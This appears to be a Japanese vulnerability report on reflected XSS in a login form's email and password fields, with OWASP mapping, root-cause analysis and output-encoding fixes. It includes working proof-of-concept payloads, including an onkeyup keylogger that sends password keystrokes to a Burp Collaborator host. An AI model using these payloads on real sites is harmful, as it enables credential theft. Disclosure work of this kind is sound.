ユーザーログインフォームに、反射型クロスサイトスクリプティング（XSS）の脆弱性（CWE-79: ウェブページ生成時の入力の不適切な無害化（'クロスサイトスクリプティング'））が存在します。email および password パラメータは、HTMLレスポンスに反映される前にサニタイズされていません。これにより、攻撃者は特別なURLを作成して悪意のあるスクリプトを注入でき、キーロガーペイロードによる認証情報の窃取につながります。これは、Burp Collaborator サーバーにパスワードデータを流出させることで確認されました。
この脆弱性は、OWASP Top 10 2021 のいくつかのカテゴリにマッピングされます。
A03:2021 - Injection: アプリケーションは、適切なサニタイズを行わずに信頼できないデータをブラウザに送信するHTMLページに含めてしまうため、インジェクションに対して脆弱であり、攻撃者のスクリプトが実行される可能性があります。
A04:2021 - Insecure Design: ログインメカニズムは、ユーザーが入力した内容を反映する際にサーバーサイドでの出力エンコーディングという基本的なセキュリティ制御が欠如しているため、設計上安全ではありません。
A05:2021 - Security Misconfiguration: アプリケーションは、<input type="email"> のような脆弱なクライアント側の制御に不適切に依存しています。これは、攻撃者によって簡単にバイパスされるため、実際のセキュリティを提供しません。
この脆弱性の根本原因は、サーバーがユーザー提供データに対して出力エンコーディングを実行しないことです。ユーザーがログインフォームを送信すると、email および password フィールドに指定された値が、結果のページロード時に対応する <input> タグの value 属性に再挿入されます。ダブルクォーテーション（"）を含むペイロードを提供することで、攻撃者は value 属性を抜け出し、新しいHTML属性（例：onkeyup）やまったく新しいタグ（例：<script>）を注入できます。この動作は email と password の両方のフィールドで確認されました。
この脆弱性は、攻撃者が被害者を騙して細工されたリクエストをサーバーに送信させるあらゆるベクトルを通じて悪用される可能性があります。最も一般的なベクトルはフィッシング攻撃であり、攻撃者はXSSペイロードを含む悪意のあるURLを作成し、被害者に送信します。被害者がリンクをクリックすると、ペイロードがブラウザ内で実行されます。
この脆弱性は、2つの異なる概念実証によって示されています。視覚的なアラートをトリガーする単純なスクリプトインジェクションと、ユーザーの認証情報を取得するより高度な攻撃です。提供された画像は、これらのPoCの直接的な証拠となります。
このPoCは、両方の脆弱なフィールドでの基本的なスクリプト実行を確認します。
j4u6e"><script>alert('email')</script>ou1wj4u6e"><script>alert('password')</script>ou1whttp(s)://example.com/user/login に移動します。画面上にJavaScriptの alert() ボックスが表示され、脆弱性が確認されます。
入力フィールド内のペイロード
メールアラート
パスワードアラート
このPoCは、パスワードのキーストロークを盗むことにより、重大な影響を示しています。
j4u6e" onkeyup="fetch('https://hg1n99wu463z4ujvj808u3f3ruxnlg95.oastify.com?data=' + btoa(this.value))"
http(s)://example.com/user/login に移動します。password 入力フィールドに直接貼り付けます。各キーストロークがキャプチャされ、攻撃者のBurp Collaboratorサーバーに送信されます。これにより、任意のスクリプトが実行可能であり、機密データを外部に漏洩できることが確認されます。
侵害された入力
Burp Suite Collaboratorに送信されたパスワード
ペイロードを含む脆弱なコード
この脆弱性の悪用に成功すると、ユーザーのアカウントとブラウザセッションが完全に侵害される可能性があります。主な影響は次のとおりです。
ベストプラクティスは、多層防御のアプローチを採用し、入力検証と適切な出力エンコーディングを組み合わせることです。
優れたセキュリティ慣行として、サーバーは入力検証を実行し、明らかに悪意のあるパターンを含むリクエストを拒否する必要があります。これにより初期の防御層が提供されますが、唯一の修正として依存すべきではありません。
主要かつ最も重要な修正は、HTMLでレンダリングされる直前にすべてのユーザー提供データに出力エンコーディングを適用することです。htmlspecialchars() 関数を使用できます。